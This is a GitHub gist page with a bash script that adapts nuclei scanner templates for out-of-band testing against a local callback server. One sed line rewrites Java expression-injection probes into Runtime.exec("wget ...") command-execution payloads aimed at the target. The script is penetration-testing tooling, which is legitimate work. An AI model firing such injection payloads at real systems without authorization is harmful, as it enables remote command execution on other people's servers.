Last active
March 26, 2023 00:55
-
-
Save dreizehnutters/047d042871da04ee4254bf41e9e3637a to your computer and use it in GitHub Desktop.
# This script generates nuclei templates for out-of-band testing using a local server in the same network as the target. (no Interactsh needed)
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
# This script generates nuclei templates for out-of-band | |
# testing using a local server in the same network as the target. | |
# (no Interactsh needed) | |
template_dir="$1" | |
oob_server="$2" | |
if [ -z "$template_dir" ] || [ -z "$oob_server" ]; then | |
echo "Usage: $0 TEMPLATE_DIR OOB_SERVER" | |
echo " TEMPLATE_DIR: Path to the directory containing templates." | |
echo " OOB_SERVER: URL of the OOB server." | |
exit 1 | |
fi | |
# Check if template directory exists | |
if [ ! -d "$template_dir" ]; then | |
echo "Error: the template directory does not exist." | |
exit 1 | |
fi | |
# Check if OOB server URL is valid | |
if ! curl --output /dev/null --silent --head --fail "$oob_server"; then | |
echo "Error: the OOB server URL is not valid." | |
exit 1 | |
fi | |
# Create out-of-band directory | |
out_of_band_directory="$template_dir/oob" | |
rm -rf "$out_of_band_directory" | |
mkdir -p "$out_of_band_directory" | |
# Edit template files | |
for file in $(grep -lr "interactsh-url" "$template_dir"); do | |
echo "[*] editing file: ${file##*/}" | |
new_content=$(sed "s#{{interactsh-url}}#$oob_server/${file##*/}#g" "$file") | |
new_content=$(echo "$new_content" | sed 's/T(java\.net\.InetAddress)\.getByName("\([^"]*\)"/T(java.lang.Runtime).getRuntime().exec("wget \1"/g') | |
echo "$new_content" > "$out_of_band_directory/${file##*/}" || { echo "Error: failed to edit file ${file##*/}"; exit 1; } | |
done | |
echo "Finished creating out-of-band templates in $out_of_band_directory." | |
exit 0 |
Author
dreizehnutters
commented
Mar 26, 2023
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment